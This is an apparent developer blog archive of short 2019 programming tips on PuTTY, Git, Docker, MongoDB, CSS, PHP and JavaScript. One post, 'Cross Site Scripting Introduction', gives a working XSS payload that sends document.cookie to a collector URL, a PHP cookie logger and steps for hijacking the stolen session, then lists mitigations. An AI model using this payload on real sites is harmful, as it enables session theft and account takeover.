Tuesday, December 31, 2019

PuTTY Private Key and MySQL Workbench

In some situations, the PuTTY generated private key doesn't work in MySQL Workbench. A workaround would be to export it in an OpenSSH private key format.
  • Open PuttyGen
  • Click Load
  • Load the private key
  • Go to Conversions > Export OpenSSH and export the private key
Save the key file and then open it with Workbench in the manage connections dialog.

Wednesday, November 13, 2019

Cookie vs Local Storage

Cookies and local storage serve different purposes. Cookies are primarily for reading server-side, local storage can only be read by the client-side.
Here's an example of using Local Storage to store the toggle state of the side bar.

if (localStorage.getItem("sidebarToggle") == "collapse") {
    $("body").addClass("sidebar-collapse");
}
$("#sidebarToggle").on("click", function(e) {
    if (localStorage.getItem("sidebarToggle") == "collapse") {
        localStorage.setItem("sidebarToggle", "");
    } else {
        localStorage.setItem("sidebarToggle", "collapse");
    }
});

Friday, October 4, 2019

Css- ing your email

can we place a CSS code is a separated CSS file or in a style tag in the head of the email? NOPE.

but it supports inline code like this:

<div style=" font-family:Arial,

Helvetica, sans-serif; font-size:12px;

color:#666666;background-color:#EEEEEE;">

Your content here....</div>

Things to avoid when using CSS in HTML emails

  • Don't rely on external(<link rel="stylesheet">) or embedded style sheet <style></style>
  • don't use Javascript (it makes your newsletter mark as spam)
  • Okay to have a background color. but try to avoid background images
  • Do not use CSS properties, for positioning, Use nested table instead.

Thursday, September 26, 2019

Remove Code Change in Git

You can run the below command to remove code changes that has not been commited.
git checkout .

Revert Local Git Commit

You can run the below command to revert a local git commit.
git reset --hard origin/<branch>

Tuesday, September 10, 2019





OWASP 2.0 Software 


Requirements:
1. JDK 1.8
2. Browser (chrome or firefox, please check if others are supported)


1. Download OWASP 2.0 from this link https://www.owasp.org/index.php/Category:OWASP_Download

2. Upon install and launch it.

3. Follow the screenshots below to get your first scan report of the URL 

a. This is what you see upon launching it

b. For "Äutomated Scan", pleas follow the simple steps in the screenshot below


c. For "Manual Scan", pleas follow the simple steps in the screenshot below




Tuesday, August 27, 2019

Using Prism - a lightweight, extensible syntax highlighter

Here's a quick way to setup and use Prism. First, include this in the header.
<link href='https://cdnjs.cloudflare.com/ajax/libs/prism/1.17.1/themes/prism-tomorrow.min.css' rel='stylesheet'/>

Then, include this right after the <body> tag, and that's it.
<script src='https://cdnjs.cloudflare.com/ajax/libs/prism/1.17.1/components/prism-core.min.js'></script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/prism/1.17.1/plugins/autoloader/prism-autoloader.min.js'></script>

Here's a usage example for javascript.
<pre class="language-javascript"><code class="language-html">
var price1 = 5;
var price2 = 6;
var total = price1 + price2;
</code></pre>

You can find other supported languages here.

Tuesday, August 20, 2019

PuTTY and SSH Keys

Instead of adding your key to all the individual PuTTY sessions, you can choose to Add Key through Pageant.


One down side to this is that you have Add Key every time after you have restarted your Windows OS.

Thursday, August 1, 2019

How to commit changes to another branch via SourceTree.

Sometime, we will found we are working in the incorrect branch after quite a number of changes made. It's very annoying to revert the changes and redo it in the right place. But, if we are not commit it into the branch yet, we can use the "stash" to avoid revert and redo steps, and commit directly in correct branch.

Step 1: Click on "Stash Changes" under "Repository" menu

Step 2: Click OK, you can just leave the description blank


Step 3: Your stash will placed under a new tab called "STASHES", it is under "REMOTES", switch to the correct branch, then right click your stash and click apply, now you can stage and commit to your working branch like normal.

Tuesday, July 23, 2019

CSS effected if both name are present

example:
<div class="content main">I want this div</div>
<div class="content">I don't care about this one</div>
<div class="main">I don't want this</div>
Just concatenate these two classes (without space):
.content.main{
bla:bla;
}

read more:
https://www.w3.org/TR/CSS2/selector.html#class-html

Tuesday, July 2, 2019




Cross Site Scripting Introduction

How to hijack session cookies

1. One of the way is the hijack user session. 

2. Find and identify if any input field of a form has this vulnerability.

3. Input the value "<script>new Image().src="http://localhost:8080/trap.php?output="+document.cookie;</script>" in the field.

4. Have your server pre-ready with trap.php to capture the session cookies at port 8080

5. The trap.php can be as simple as follow:
<?php
   $cookies = $_GET["c"];
   $file = fopen('log.txt', 'a');
   fwrite($file, $cookies . "\n");
?>

Suggestion: You can automate this part so no need to sit and wait the session cookies to come in.

6. Once you got the session cookies, you can find its value in access.log or you may save it into a text file. 

7. Replace the session id using the EditThisCookies plugin at your chrome. 
   (Other browsers may have different cookies plugin)

8. You have access to the site using normal user logon, then you can replace with this session. When you refresh the browser, you should already into the session of the stolen id.



What we can do to eliminate these:
1. Test all input fields of your forms of site to avoid this type of vulnerability.

2. You may use pre-built functions like html_encode or htmlspecialchars or htmlentities.

3. You can set HTTPOnly cookie attribute in the header. This can help to mitigate this scenario by preventing access to the cookie value through JavaScript.

Sunday, June 16, 2019

pread() failed when running docker-compose up

We are running Windows 10 Home and Docker Toolbox.

Here's a docker-compose.yml (found in C:\code\phpnginx) that we wanted to start.
web:
  image: nginx:latest
  ports:
    - "8080:80"
  volumes:
    - ./code:/code
    - ./site.conf:/etc/nginx/conf.d/site.conf
Here's the issue that we encountered.
$ docker-compose up
Recreating phpnginx_web_1 ... done
Attaching to phpnginx_web_1
web_1  | 2019/06/15 15:34:51 [crit] 1#1: pread() "/etc/nginx/conf.d/site.conf" failed (21: Is a directory)
web_1  | nginx: [crit] pread() "/etc/nginx/conf.d/site.conf" failed (21: Is a directory)
After some digging around, we have found that the cause of the issue is that the container is unable to find the file that we have specified, ie. site.conf. By default, the docker machine is only given access to C:\Users. As per the suggested solution found, we need to share C:\code in order for the container to access it as another volume.

Here's how you can add another volume.
  1. Open Oracle VM VirtualBox Manager.
  2. Select the machine (in my case default).
  3. Right click and select Settings.
  4. Go to Shared Folders.
  5. Right click on Machine Folders and select Add Machine Folder.
  6. Use the below values, and click OK.
    Folder Path: c:\code
    Folder Name: c/code
    Check Auto-mount
    Check Make Permanent
    
To verify that what we have done worked, follow these steps.
  1. Open "Docker Quickstart Terminal" and restart the docker machine.
    $ docker-machine restart
    
  2. SSH to the docker machine.
    $ docker-machine ssh
    
  3. On the docker machine, run these.
    $ cd /c/code
    $ ls -al
    
You should be able to see the content of your folder.

Monday, June 10, 2019

Move MySQL datadir in Windows

These are the steps I've used to store the MySQL Data folder at a non default location.
  1. Stop the MySQL service
  2. Update my.ini with new datadir that points to the new directory, eg. datadir=D:/Data.
    (To locate my.ini, go to Services, look for MySQL80, right click Properties, and look under Path to executable)
  3. Copy over the existing Data folder to the new directory
  4. Update the Security of the new directory to be the same as the existing directory.
    (Hint: Add NETWORK SERVICE with Full control)
  5. Start the MySQL service

Thursday, May 23, 2019

find exact element in the same object (MongoDB)

data in MongoDB
bus: array
   0: Object
      bus_id: 123
      bus_plate: XYZ123
      status: OK
      ownership: Mr K
   1: Object
      bus_id: 144
      bus_plate: ASD123
      status: BROKE
      ownership: Mr Q
   2: Object
      bus_id:245
      bus_plate: CSD123
      status: BROKE
      ownership: Mr K

Required to find a bus id with status Broken and Owned by Mr K
BUT if you use
db.stack.find({$and:[{ "bus.status" : "BROKE"},{"bus.ownership" : "Mr K"}]})

here is the result
bus: array
   0: Object
      bus_id: 123
      bus_plate: XYZ123
      status: OK
      ownership: Mr K
   1: Object
      bus_id: 144
      bus_plate: ASD123
      status: BROKE
      ownership: Mr Q
   2: Object
      bus_id:245
      bus_plate: CSD123
      status: BROKE
      ownership: Mr K

however, you need to find the exact element in the same Object, you need to use this instead
db.stack.find({bus:{"$elemMatch":{status:"BROKE", ownership: "Mr K"}}})
here is the outcome:
bus: array
   0: Object
      bus_id:245
      bus_plate: CSD123
      status: BROKE
      ownership: Mr K

Sunday, May 19, 2019

Error response from daemon when running docker swarm init

In some instances, you might come across this issue while running the docker swarm init command.
$ docker swarm init

Error response from daemon: could not choose an IP address to advertise since this system has multiple addresses on different interfaces (10.0.2.15 on eth0 and 192.168.99.100 on eth1) - specify one with --advertise-addr
In order to overcome this error, just run the below command (take note of the IP address)
$ docker swarm init --advertise-addr 192.168.99.100

Swarm initialized: current node (smvno7jz2qeqen0hil5ckh38y) is now a manager.
To add a worker to this swarm, run the following command:
docker swarm join --token SWMTKN-1-5bxmpq2ge5x04cgi1aupxbz1gbt5v60irfd2e49ov1jtds6a71-bci88gcqausa3f168bgom8zja 192.168.99.100:2377
To add a manager to this swarm, run 'docker swarm join-token manager' and follow the instructions.

Tuesday, May 14, 2019

Telegram bot

Telegram is a messaging application just like Whatsapp. you can send text, images, video, voice note etc. AND the quality image that sent thru Telegram will be the same when we received it. Telegram won't change the quality of the picture.

you can find someone thru their username without save their number.
Alsoooo ... ;)
you can find these so COOL bots on telegram such as

@gamee.
here you can play game either solo or with friends. just a simple game ;)



@vkm_bot
here you can find music. just type in the artist or song title you want to listen. you can choose and play it. without download Spotify, joox etc.

@voicybot
here you are able to convert voice recording message/audio file as text.

@TextTSbot
here it can convert text into audio. you just need to send a text and it will reply in an audio file

@movieS4Bot

here you can make it as movie reference. information is from IMDB. it will show you the plot, cast, rating, and poster. All you need to do is key it a title.

@NowTrendingBot
it displays 45 countries trends from so many platforms such as Twitter, youtube, google and Vimeo


Friday, May 10, 2019

node.js querystring vs qs

querystring has the below behaviour.
The object returned by the querystring.parse() method does not prototypically inherit from the JavaScript Object. This means that typical Object methods such as obj.toString(), obj.hasOwnProperty(), and others are not defined and will not work.
Use qs if you need the object to inherit from the JavaScript Object.

Friday, May 3, 2019

Mongodb ObjectId to string in js

var agent = [];

var get_agent = db.user.find({
    "is_agent": "1"
}).forEach(function (agent_doc){
    var agent_id = agent_doc._id+"";
    agent[agent_id] = agent_doc.name;
});


Based on the code above we are able to change the Objectid of user _id to string
just by adding empty quotation. [This solution is not recommended as we are not supposed to change the id ]

find another alternative :p.

this is just FYI đŸ˜œ

Thursday, April 25, 2019

Notes on flutter

Flutter allows you to build beautiful native apps on iOS and Android from a single codebase.
In order to start development using flutter, make sure that you pass all these checks.
$ flutter doctor
Doctor summary (to see all details, run flutter doctor -v):
[√] Flutter (Channel stable, v1.2.1, on Microsoft Windows [Version 10.0.17134.706], locale en-MY)
[√] Android toolchain - develop for Android devices (Android SDK version 28.0.3)
[√] Android Studio (version 3.4)
[√] VS Code (version 1.33.1)
[√] Connected device (1 available)

• No issues found!
In order to run the mobile app on your Android device, make sure that you have turned on Developer options and USB debugging

NOTE: Make sure that you are using a USB data cable to connect your Android device to your laptop.
$ flutter devices
1 connected device:

SM J500G • ff13ccd8 • android-arm • Android 6.0.1 (API 23)

Thursday, March 14, 2019

Aligning text next to a checkbox


A simple way to make the label next to the checkbox Align (using style) and this form
using class Pure.css by yahoo. Check more in https://purecss.io/forms/

<form class="pure-form pure-form-aligned">
    <fieldset>
        <div class="pure-control-group">
            <label for="name">Product Name</label>
     <input id="name" type="text" placeholder="Username">
 </div>
        <div class="pure-control-group">
     <label for="password">Contact Name</label>
         <input id="password" type="text" placeholder="Password">
 </div>

  <div class="pure-control-group">
      <label for="email">Contact Email</label>
      <input id="email" type="email" placeholder="Email Address">
 </div>

 <div class="pure-control-group">
     <label for="foo">Website</label>
     <input id="foo" type="text" placeholder="Enter something here...">
 </div>

        <div class="pure-control-group">
     <label for="foo">Description:</label>
     <textarea id="description" type="text" placeholder="Enter description here..."></textarea>
 </div>            

 <div class="pure-controls">
     <label for="cb" class="pure-checkbox">
            <input id="cb" type="checkbox" style="float: left; margin-top: 5px;"><div style="margin-left: 25px;">I'm interested in an enhanced listing or premium profile, (a member of our team will respond promptly with further information)</div>
     </label> 

        <button type="submit" class="pure-button pure-button-primary">Submit</button>
        </div> 
    </fieldset>
</form>

below is the output:

Thursday, March 7, 2019

numbering a string

pay attention at the outputs

$variable_1 = "888helpme1234";
print_r((int)$variable_1);

output:
888
print_r($variable_1);

output:
888helpme1234

Tuesday, March 5, 2019

Remove one level of array in PHP

$new_array = array_column($old_array,0);
This will retrieve the value at index 0 for each array within $old_array. Can also be using with associative arrays.
from this

to this

Monday, February 25, 2019

badge bootstrap

for badge badge-success badge badge-danger or badge-primary only works on bootstrap 4

if you are using the bootstap version 3 and lower
use this instead

class="badge progress-bar-danger"
class="badge progress-bar-success"

Sunday, January 27, 2019

JavaScript window.location

Using location replace means that this will replace the current history of the page; it is impossible to use the back button to go back to the original page.
window.location.replace("www.i_am_going_to_other_site.com");

Using location assign, this will keep the history for you and with using back button, you can go back to the original page
window.location.assign("www.i_am_going_to_other_site.com");

another way to redirect to another page is using pure Js like below
window.location.href="www.i_am_going_to_other_site.com";

Friday, January 18, 2019

Copy value to clipboard using Javascript

I've discovered 2 approach to copying something to the clipboard using Javascript.

1. You can copy the value from an input field.
<input type="text" value="Hello World" id="myInput">
<button onclick="myFunction()">Copy text</button>
<script>
function myFunction() {
  var copyText = document.getElementById("myInput");
  copyText.select();
  document.execCommand("copy");
  alert("Copied the text: " + copyText.value);
}
</script>
2. You can copy the value directly from a variable.
<script>
  var content = "this is to be copied to clipboard";
  var copyText = $('<input>').val(content).appendTo('body').select();
  document.execCommand('copy');
</script>

Wednesday, January 16, 2019

CodeIgniter validation_errors() is not working

$this->form_validation->run() returns false when no $_POST data is found. It will not set any error to be printed.

Monday, January 14, 2019

Create Large Dummy File

You can create a large dummy file (with the help of the commands below) that can be compressed to a very small file.

In Windows, you do this.
fsutil file createnew C:\temp\10MB-file.dat 10485760
fsutil file createnew C:\temp\20MB-file.dat 20971520
fsutil file createnew C:\temp\30MB-file.dat 31457280
In Linux, you do this.
dd if=/dev/zero of=10MB-file.dat bs=10485760 count=1
dd if=/dev/zero of=20MB-file.dat bs=20971520 count=1
dd if=/dev/zero of=30MB-file.dat bs=31457280 count=1

Reference:
Use this page to get the file size value - https://whatsabyte.com/P1/byteconverter.htm